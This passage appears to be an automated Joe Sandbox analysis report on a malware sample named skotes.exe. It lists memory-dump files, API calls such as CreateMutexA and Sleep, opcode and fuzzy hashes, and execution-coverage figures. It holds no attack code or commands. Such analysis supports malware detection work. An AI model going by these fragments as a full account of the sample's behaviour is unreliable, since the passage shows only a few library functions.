Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 2f7aa7655357a8c40e60c4854a0e7245e54688fccf9920d2028e666080f48b36
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: F9B11132A042869FDB15CF68C881BEEBFA5EF65340F15816AE855EB242D734DD01CBE0

Function 00182EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00182F5F
__Mtx_unlock.LIBCPMT ref: 00182FCC
__Mtx_unlock.LIBCPMT ref: 001830F5
__Mtx_unlock.LIBCPMT ref: 0018319B

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 029333b481e8b6f91fc761ae288998e08806bb81842bf51d6cc824351c7ac83b
Instruction ID: 7dcedb3c9697eed300da0e2db6372226f403a43c9274472ff0bd59af0d31a3e5
Opcode Fuzzy Hash: 029333b481e8b6f91fc761ae288998e08806bb81842bf51d6cc824351c7ac83b
Instruction Fuzzy Hash: 4AA1B0B0A052059FDF11EF64C948B5AB7A8FF25B14F088129E825D7281EB35EB05CBD1

Analysis Process: skotes.exePID: 7544, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	612
Total number of Limit Nodes:	4

Executed Functions

Function 001B652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,001B652A,?,?,?,?,?,001B7661), ref: 001B6567

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a52218556669ff316e5feadaea0abc9d80e2cfef99cab1d74a15ed067853f173
Instruction ID: 5b9aeeeb6a7409f3490462d7fbcc40b463acfb416cb03cba5dd0168d957ca770
Opcode Fuzzy Hash: a52218556669ff316e5feadaea0abc9d80e2cfef99cab1d74a15ed067853f173
Instruction Fuzzy Hash: 01E08C30141148AECF367B18D84DE883B69EF65781F004814F81886622CB2ADEA1C680

Function 00189BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6989becdf8e52050853549155f9b9dcf253fb0f877d850bdc866a621d61a13c4
Instruction ID: c7a472bd9911f682538e94746a1c66d6695f4ce273b8d0c9372430768a16983d
Opcode Fuzzy Hash: 6989becdf8e52050853549155f9b9dcf253fb0f877d850bdc866a621d61a13c4
Instruction Fuzzy Hash: 15314A71B042049BEF08EB78DC9DB7DB7A2DF85310F644219E0149B3D6C7765B808B51

Function 00189F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9dfa7fc070b2afa36827bc1b201510d3500d266d19a765b84850461ffed744b4
Instruction ID: f57b52a73aa06bc675632a8328eff7ed25ce482db7ca89d5a874b976f41830e7
Opcode Fuzzy Hash: 9dfa7fc070b2afa36827bc1b201510d3500d266d19a765b84850461ffed744b4
Instruction Fuzzy Hash: 71312A31B042049BFF08AB68DC9D76DBBA2EF85310F644619F118D72D1D7755A808B12

Function 0018A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
